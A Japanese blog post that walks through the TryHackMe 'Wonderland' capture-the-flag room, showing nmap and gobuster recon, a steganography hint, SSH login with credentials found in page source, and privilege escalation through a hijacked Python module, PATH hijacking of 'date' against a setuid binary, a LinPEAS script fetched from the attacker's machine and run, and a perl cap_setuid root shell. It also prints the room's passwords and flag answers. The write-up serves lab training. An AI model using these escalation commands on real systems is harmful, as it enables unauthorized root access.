1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【WalkThrough】 #2 TryHackMe / Wonderland

Last updated at Posted at 2025-01-16

はじめに

TryHackMeのルーム「Wonderland」のWalkThroughです。

ルームの概要

難易度MediumのChallengeルームとなっています。
問題数は2つと少なめで、自分で侵入ルートを探っていく形のルームのようです。
モデルは「不思議の国のアリス」らしいです。

主な目標・攻略の流れ

今回の流れは以下の通りです。

  1. Recon/Enum(偵察・列挙)
  2. GainAccess(侵入)
  3. PrivEsc(権限昇格)①
  4. PrivEsc(権限昇格)②
  5. PrivEsc(権限昇格)③

このうち、1-4がQ1の範囲、5がQ2の範囲となっています。

目標はuser.txtroot.txtに書かれているフラグの入手です。

それでは始めていきましょう。
Try Harder!

環境

解説の前に今回のIPアドレスを載せておきます。参考にする際は順次置き換えて進めてください。

ローカルマシン(VPN): 10.9.1.210
ターゲットマシン: 10.10.153.199

また、今回ローカルマシンはKali 2024.4を使用し、作業ディレクトリは~/thm/Wonderlandとします。
解答はノートに載せています。

Task1 : Capture the flags

Q1. Obtain the flag in user.txt

Recon/Enum

nmapでポートスキャンを実行します。

┌──(kali㉿kali)-[~/thm/Wonderland]
└─$ nmap --vv -Pn -T4 -sV -oN nmap-1.txt 10.10.153.199
(中略)
┌──(kali㉿kali)-[~/thm/Wonderland]
└─$ cat nmap-1.txt 
# Nmap 7.95 scan initiated Thu Jan 16 17:52:11 2025 as: /usr/lib/nmap/nmap --privileged --vv -Pn -T4 -sV -oN nmap-1.txt 10.10.153.199
Nmap scan report for 10.10.153.199
Host is up, received user-set (0.25s latency).
Scanned at 2025-01-16 17:52:11 JST for 16s
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jan 16 17:52:27 2025 -- 1 IP address (1 host up) scanned in 16.09 seconds

この実行結果から、次のようなことがわかります。

  1. 22ポートでsshが動いている。ユーザー名とパスワードを総当たりできるかも?
  2. 80ポートでGoのWebサーバーが動いている。Webサイトに何か手掛かりがあるかも?

今回は2.の情報をもとにWebサイトを調べてみましょう(http://10.10.153.199)。
web-home.png
こんなサイトが出てきました。「不思議の国のアリス」がモデルだということがここからも読み取れます。
しかし、ここではあまり情報は得られません。そこで、GoBusterを使って隠しディレクトリを調べてみましょう。

┌──(kali㉿kali)-[~/thm/Wonderland]
└─$ gobuster dir -u http://10.10.153.199 -w /usr/share/dirb/wordlists/big.txt -o gobuster-1.txt -t 64
(中略)
┌──(kali㉿kali)-[~/thm/Wonderland]
└─$ cat gobuster-1.txt                              
/img                  (Status: 301) [Size: 0] [--> img/]
/poem                 (Status: 301) [Size: 0] [--> poem/]
/r                    (Status: 301) [Size: 0] [--> r/]

/rが気になりますね。アクセスしてみましょうか。
web-r.png
"Keep Going."とあります。/rのさらに下にもディレクトリがありそうですね。というわけで探索してみましょう。

┌──(kali㉿kali)-[~/thm/Wonderland]
└─$ gobuster dir -u http://10.10.153.199/r -w /usr/share/dirb/wordlists/big.txt -o gobuster-2.txt -t 64
(中略)
┌──(kali㉿kali)-[~/thm/Wonderland]
└─$ cat gobuster-2.txt
/a                    (Status: 301) [Size: 0] [--> a/]

web-r-a.png
うーん、先が見えませんね。おそらく同じようにディレクトリが広がっていると思うのですが、やみくもに続けるのも非効率的ですし、別でヒントを探ってみます。

GoBusterで最初に探索したとき、/imgディレクトリが一緒に見つかりましたよね。そこにもヒントが隠れていそうなのでアクセスしてみましょう。
web-img.png
このWebサイトで使われている画像ファイルの一覧のようです。
では、画像ファイルから何かヒントが隠れているとしたらどこに隠れていると思いますか?
そう、ステガノグラフィです。試しにダウンロードして探してみましょう。

┌──(kali㉿kali)-[~/thm/Wonderland]
└─$ wget http://10.10.153.199/img/white_rabbit_1.jpg
(中略)
┌──(kali㉿kali)-[~/thm/Wonderland]
└─$ steghide extract -sf white_rabbit_1.jpg 
Enter passphrase: (何も入力せずにEnter)
wrote extracted data to "hint.txt".

┌──(kali㉿kali)-[~/thm/Wonderland]
└─$ cat hint.txt      
follow the r a b b i t

見つかりましたね!hint.txtというファイルが隠されていて、follow the r a b b i tという内容だそうです。
この内容、r a b b i tの部分がディレクトリを表していると思いませんか?早速試してみましょう(http://10.10.153.199/r/a/b/b/i/t)。
web-rabbit.png
ありました。ページに表示されている文にヒントはなさそうですが、ソースを見ると興味深い文が見つかります。
web-rabbit-source.png

注目すべきは、alice:HowDothTheLittleCrocodileImproveHisShiningTailという部分です。何かのログインに使えそうですね。

GainAccess

最初にnmapでポートスキャンをしたとき、80ポートと一緒に22ポートもSSHポートとして開いていました。もしかしたら、これが認証に使えるのではないでしょうか。

┌──(kali㉿kali)-[~/thm/Wonderland]
└─$ ssh alice@10.10.153.199
The authenticity of host '10.10.153.199 (10.10.153.199)' can't be established.
(中略)
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.153.199' (ED25519) to the list of known hosts.
alice@10.10.153.199's password: HowDothTheLittleCrocodileImproveHisShiningTail
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-101-generic x86_64)
(中略)
alice@wonderland:~$ 

成功です!先ほどの部分はSSHの資格情報だったようです。
では、サーバーに侵入できたということで1つ目のフラグであるuser.txtを探していきましょう。

alice@wonderland:~$ pwd
/home/alice
alice@wonderland:~$ ls
root.txt  walrus_and_the_carpenter.py
alice@wonderland:~$ cat root.txt
cat: root.txt: Permission denied

root.txtが先に見つかってしまいました。しかし権限昇格をしないと読めないので後回しです。
そしてもう一つ、walrus_and_the_carpenter.pyが見つかりました。少し内容を読んでみましょう。

import random
poem = """The sun was shining on the sea,
Shining with all his might:
He did his very best to make
The billows smooth and bright —
And this was odd, because it was
The middle of the night.
(中略)
"O Oysters," said the Carpenter.
"You’ve had a pleasant run!
Shall we be trotting home again?"
But answer came there none —
And that was scarcely odd, because
They’d eaten every one."""

for i in range(10):
    line = random.choice(poem.split("\n"))
    print("The line was:\t", line)

poetの中からランダムで10行を表示するというpythonスクリプトが見つかりました。しかし、今のところあまり意味はなさそうです。

/homeディレクトリも調べてみましょう。

alice@wonderland:~$ cd /home
alice@wonderland:/home$ ls
alice  hatter  rabbit  tryhackme
alice@wonderland:/home$ ls hatter
ls: cannot open directory 'hatter': Permission denied
alice@wonderland:/home$ ls rabbit
ls: cannot open directory 'rabbit': Permission denied
alice@wonderland:/home$ ls tryhackme
ls: cannot open directory 'tryhackme': Permission denied

このサーバーにはaliceのほかにhatter, rabbit, tryhackmeユーザーが存在することがわかります。しかし、ディレクトリへのアクセス権がないのでアクセスできませんね。

sudoの権限も調べてみましょうか。

alice@wonderland:/home$ sudo -l
[sudo] password for alice: HowDothTheLittleCrocodileImproveHisShiningTail
Matching Defaults entries for alice on wonderland:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User alice may run the following commands on wonderland:
    (rabbit) /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

先ほど調べたwalrus_and_the_carpenter.pyrabbitとして実行できるようです。これを使えば、rabbitへのアクセス権を取得できるかもしれません。

PrivEsc①

walrus_and_the_carpenter.pyの最初の行(import random)に注目すると、このスクリプトがrandom.pyを参照していることがわかります。つまり、random.pyをこちらで作ってしまえば、任意のpythonコードを実行できるということです。やってみましょう。

まずは、random.pyを作成し以下のような内容にします。

random.py
import os

os.system("/bin/bash")

os.systemはpythonスクリプトでコマンドを実行できるので、他のユーザー(この場合rabbit)としてbashを実行しシェルをとる形です。

実行する前に、しっかり実行権限をつけておきましょう。

alice@wonderland:~$ chmod +x random.py

あとはrabbitとしてwalrus_and_the_carpenter.pyを実行するだけです。

alice@wonderland:~$ sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
[sudo] password for alice: HowDothTheLittleCrocodileImproveHisShiningTail
rabbit@wonderland:~$

rabbitのシェルが取れました。アクセスできなかった/home/rabbitディレクトリを確認してみましょう。

rabbit@wonderland:~$ cd /home/rabbit
rabbit@wonderland:/home/rabbit$ ls
teaParty
rabbit@wonderland:/home/rabbit$ file teaParty
teaParty: setuid, setgid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=75a832557e341d3f65157c22fafd6d6ed7413474, not stripped

user.txtは見つかりませんでしたが、teaPartyというsetuidファイルが見つかりました。実行できそうなので、実行してみましょう。

rabbit@wonderland:/home/rabbit$ ./teaParty
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by Thu, 16 Jan 2025 13:27:08 +0000
Ask very nicely, and I will give you some tea while you wait for him
(Enterキーを押す)
Segmentation fault (core dumped)

所有者はhatterだと思われます。1時間待つとHatterが来るとありますが、その可能性は限りなく低いでしょう。

rabbit@wonderland:/home/rabbit$ cat teaParty
ELF>�@0:@8
          @@@@h���HH==   88�-�=�=hp�-�=�=����DDP�td� � � <<Q�tdR�td�-�=�=▒▒/lib64/ld-linux-x86-64.so.2GNUGNUu�2U~4?e|"��mn�A4t
�
�e�mZ <v 5� 
            &"libc.so.6setuidputsgetcharsystem__cxa_finalizesetgid__libc_start_mainGLIBC_2.2.5_ITM_deregisterTMCloneTable__gmon_start___ITM_registerTMCloneTableu▒i      N�p�0HH@�?�?�?��?
▒@ @(@0@8@      H�H��/H��t��H���5�/�%�/@�%�/h������%�/h������%�/h������%�/h������%�/h������%r/f�1#H�=��&/�DH�=�/H��/H9�tH��.H��t �����H�=Y/H�5R/H)�H��H��H��?H�H��tH��.H����fD���=/u/UH�=�.H��t
                                                                                              H�=�.�-����h�����.]�����{���UH����������������H�=t�����H�=������H�=����������H�=�n����]�f.��AWI��AVI��AUA��ATL�%,UH�-,SL)�H�����H��t�L��L��D��A��H��H9�u�H�[]A\A]A^A_��H�H��Welcome to the tea party!
The Mad Hatter will be here soon./bin/echo -n 'Probably by ' && date --date='next hour' -RAsk very nicely, and I will give you some tea while you wait for himSegmentation fault (core dumped)8,�������������T����������<���,zRx
                             @���+zRx
                                    $����`F▒J
K                                            �?▒;*3$"D���\����PA�C
D|����]B�E▒�E �E(�H0�H8�G@j8A0A(B B▒B���p0
4�▒����80
�
 ▒@x�   ▒������o����o���o����o�=6FVfvH@GCC: (Debian 8.3.0-6) 8.3.0��08�
�

��4 � 0!�=�=�=�?@▒@@P@▒��
                         ��!07P@F�=mpy�=������4"����=��=��=�� �@�
                                                                 0 � ▒@@3E▒P@4L`▒@@�� �▒H@� ��]�X ';"crtstuff.cderegister_tm_clones__do_global_dtors_auxcompleted.7325__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entryteaParty.c__FRAME_END____init_array_end_DYNAMIC__init_array_start__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE___libc_csu_fini_ITM_deregisterTMCloneTableputs@@GLIBC_2.2.5_edatasystem@@GLIBC_2.2.5__libc_start_main@@GLIBC_2.2.5__data_startgetchar@@GLIBC_2.2.5__gmon_start____dso_handle_IO_stdin_used__libc_csu_init__bss_startmainsetgid@@GLIBC_2.2.5__TMC_END___ITM_registerTMCloneTablesetuid@@GLIBC_2.2.5__cxa_finalize@@GLIBC_2.2.5.symtab.strtab.shstrtab.interp.note.ABI-tag.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.got.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.dynamic.got.plt.data.bss.comment�#�� 1��$D��No
                                         ▒V88�^���o��k���o��z▒�B��▒��  `�����44 �  �� � <�0!���=���=�-��?��@�@@@P@P�0P0p0`▒      �6W'9

catで中身を確認すると、所々解読可能な文字があることがわかります。

Welcome to the tea party!
The Mad Hatter will be here soon./bin/echo -n 'Probably by ' && date --date='next hour' -RAsk very nicely, and I will give you some tea while you wait for himSegmentation fault (core dumped)8

この部分ですが、先ほどの出力に対応していそうですね。
さらに細かい部分に注目してみましょう。

/bin/echo -n 'Probably by ' && date --date='next hour' -R

この文は出力の3行目に対応しています(心配な方はこの文だけで実行して同じ挙動になることを確認するとよいでしょう)。
&&のあとは1時間後の時刻を取得するところでしょうか。dateコマンドで取得しているようです。

PrivEsc②

察しの良い方はもう気づいたのではないでしょうか。
rabbitへのアクセス権を取得したときと同じように、dateコマンドを自分で定義しておけばhatterへのアクセス権も取得できますね。 早速やってみましょう。

まず、dateファイルを作成し、以下のように編集しておきます。

date
#!/bin/bash

/bin/bash

このdateファイルは、random.pyと同じようにbashを実行するスクリプトです。teaPartyがsetuidファイルなので、所有者であるhatterとして実行させシェルをとる形です。rabbitのシェルをとった時と全く同じですね。

次に、環境変数を変更し作成したdateファイルにパスが通るようにします。

rabbit@wonderland:/home/rabbit$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
rabbit@wonderland:/home/rabbit$ export PATH=/home/rabbit:$PATH
rabbit@wonderland:/home/rabbit$ echo $PATH
/home/rabbit:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

最後に、実行権限をつけてteaPartyを実行しましょう。

rabbit@wonderland:/home/rabbit$ chmod +x date
rabbit@wonderland:/home/rabbit$ ./teaParty
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by hatter@wonderland:/home/rabbit$

hatterのシェルが取れました。では、/home/hatterを確認してみましょう。

hatter@wonderland:/home/rabbit$ cd /home/hatter
hatter@wonderland:/home/hatter$ ls
password.txt

password.txtといういかにも誰かのユーザーのパスワードらしきファイルがありました。中身を確認してみます。

hatter@wonderland:/home/hatter$ cat password.txt
WhyIsARavenLikeAWritingDesk?

このパスワードですが、いったい誰のものなのか調べてみたところ(以下のコマンド)、hatterのものだとわかりました。

┌──(kali㉿kali)-[~/thm/Wonderland]
└─$ ssh root@10.10.153.199       
root@10.10.153.199's password: WhyIsARavenLikeAWritingDesk?
Permission denied, please try again.
root@10.10.153.199's password: 
  
┌──(kali㉿kali)-[~/thm/Wonderland]
└─$ ssh tryhackme@10.10.153.199
tryhackme@10.10.153.199's password: WhyIsARavenLikeAWritingDesk?
Permission denied, please try again.
tryhackme@10.10.153.199's password: 

┌──(kali㉿kali)-[~/thm/Wonderland]
└─$ ssh hatter@10.10.153.199
hatter@10.10.153.199's password: WhyIsARavenLikeAWritingDesk?
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-101-generic x86_64)
(中略)
hatter@wonderland:~$

さて、そろそろuser.txtを探しましょうか。
root.txtが大抵user.txtの置かれる/home/aliceにあることから、user.txtも反転して/rootにあるのではないかと推測して探してみましょう。

hatter@wonderland:/home/hatter$ cd /root
hatter@wonderland:/root$ ls
ls: cannot open directory '.': Permission denied
hatter@wonderland:/root$ cat user.txt
thm{"Curiouser and curiouser!"}

見つかりました!これで1つ目のフラグゲットです!(長かった...)

A. thm{"Curiouser and curiouser!"}

Q2. Escalate your privileges, what is the flag in root.txt?

Q1でパスワードがわかったので、別タブで普通にSSH接続しましょう。

┌──(kali㉿kali)-[~/thm/Wonderland]
└─$ ssh hatter@10.10.153.199
hatter@10.10.153.199's password: WhyIsARavenLikeAWritingDesk?
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-101-generic x86_64)
(中略)
hatter@wonderland:~$

PrivEsc③

今回はLinPEASGTFOBinsで権限昇格を図ります。

まずはLinPEASをターゲットで実行しましょう。

ターミナルで新しくタブを開き、作業ディレクトリにLinPEASをコピーします。

┌──(kali㉿kali)-[~/thm/Wonderland]
└─$ cp /usr/share/peass/linpeas/linpeas.sh . 

┌──(kali㉿kali)-[~/thm/Wonderland]
└─$ ls -l
(中略)
-rwxr-xr-x 1 kali kali  824847  1月 16 23:11 linpeas.sh
(略)

ローカルで簡易的なWebサーバーを立ち上げてディレクトリごと公開します。

┌──(kali㉿kali)-[~/thm/Wonderland]
└─$ python3 -m http.server 12345
Serving HTTP on 0.0.0.0 port 12345 (http://0.0.0.0:12345/) ...

ターゲットに接続しているタブに戻って、LinPEASをダウンロードします。

hatter@wonderland:~$ wget http://10.9.1.210:12345/linpeas.sh
--2025-01-16 14:18:28--  http://10.9.1.210:12345/linpeas.sh
Connecting to 10.9.1.210:12345... connected.
HTTP request sent, awaiting response... 200 OK
Length: 824847 (806K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh               100%[===============================>] 805.51K   258KB/s    in 3.1s    

2025-01-16 14:18:31 (258 KB/s) - ‘linpeas.sh’ saved [824847/824847]

hatter@wonderland:~$ ls -l
total 820
-rwxr-xr-x 1 root  hatter 824847 Jan 16 15:03 linpeas.sh
-rwxrwxr-x 1 alice alice      34 Jan 16 12:04 random.py
-rw------- 1 root  root       66 May 25  2020 root.txt
-rw-r--r-- 1 root  root     3577 May 25  2020 walrus_and_the_carpenter.py

終わったら、Webサーバーは閉じておきます。

実行する前に、$PATHを直しておきましょう(LinPEASがdateコマンドを実行する関係上、これをしないと正常に実行できません)。

hatter@wonderland:~$ echo $PATH
/home/rabbit:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
hatter@wonderland:~$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
hatter@wonderland:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

実行権限を付け、実行します。

hatter@wonderland:~$ chmod +x linpeas.sh
hatter@wonderland:~$ ./linpeas.sh | tee linpeas-output.txt
(略)

実行結果をそのまま見てもいいのですが、tee linpeas-output.txtをつけることでテキストファイルに実行結果をまとめているので、catlessでじっくり確認することもできます。

さて、実行結果を見ていると一つ重大な穴がありますね。

╔══════════╣ Capabilities
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities                                                                                                                           
══╣ Current shell capabilities                                                                                                                                                                            
CapInh:  0x0000000000000000=                                                                                                                                                                              
CapPrm:  0x0000000000000000=
CapEff:  0x0000000000000000=
CapBnd:  0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
CapAmb:  0x0000000000000000=

╚ Parent process capabilities
CapInh:  0x0000000000000000=                                                                                                                                                                              
CapPrm:  0x0000000000000000=
CapEff:  0x0000000000000000=
CapBnd:  0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
CapAmb:  0x0000000000000000=


Files with capabilities (limited to 50):
/usr/bin/perl5.26.1 = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/perl = cap_setuid+ep

このうち、/usr/bin/perl5.26.1 = cap_setuid+ep/usr/bin/perl = cap_setuid+epに黄背景+赤文字の印が出ています。どうやらPerlにCapabilityがついているようです。
この項目についてはGTFOBinsに権限昇格のコードが載っています(Perl:Capability)。
gtfobins-perl.png
今回は、ピンクの枠にあるコマンドのうち最後の行のみ実行します(ただし./perlperlに変更する)。

hatter@wonderland:~$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
# id
uid=0(root) gid=1003(hatter) groups=1003(hatter)

root権限を取得できました!あとはroot.txtを取るだけです!

# pwd  
/home/hatter
# cd /home/alice
# cat root.txt
thm{Twinkle, twinkle, little bat! How I wonder what you’re at!}

これでルームクリアです。ここまでお疲れさまでした!

A. thm{Twinkle, twinkle, little bat! How I wonder what you’re at!}

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?